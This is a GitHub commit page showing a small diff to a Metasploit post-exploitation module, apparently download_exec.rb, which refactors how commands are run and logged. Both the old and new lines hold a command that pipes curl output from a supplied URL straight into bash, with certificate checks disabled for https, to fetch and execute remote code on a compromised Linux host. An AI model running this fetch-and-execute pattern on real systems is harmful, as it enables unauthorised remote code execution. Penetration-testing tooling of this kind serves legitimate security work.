We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 07d78af commit 9948d1eCopy full SHA for 9948d1e
modules/post/linux/manage/download_exec.rb
@@ -42,9 +42,18 @@ def initialize(info={})
42
43
def run
44
if datastore['URL'].match(/https/)
45
- vcmd_exec("`which curl` -k #{datastore['URL']} 2>/dev/null | `which bash` ")
+ cmd_exec_vprint("`which curl` -k #{datastore['URL']} 2>/dev/null | `which bash` ")
46
else
47
- vcmd_exec("`which curl` #{datastore['URL']} 2>/dev/null | `which bash` ")
+ cmd_exec_vprint("`which curl` #{datastore['URL']} 2>/dev/null | `which bash` ")
48
end
49
50
+
51
+ def cmd_exec_vprint(cmd)
52
+ vprint_status("Executing: #{cmd}")
53
+ output = cmd_exec(cmd)
54
+ if output.length > 0
55
+ vprint_status("#{output}")
56
+ end
57
+ return
58
59
0 commit comments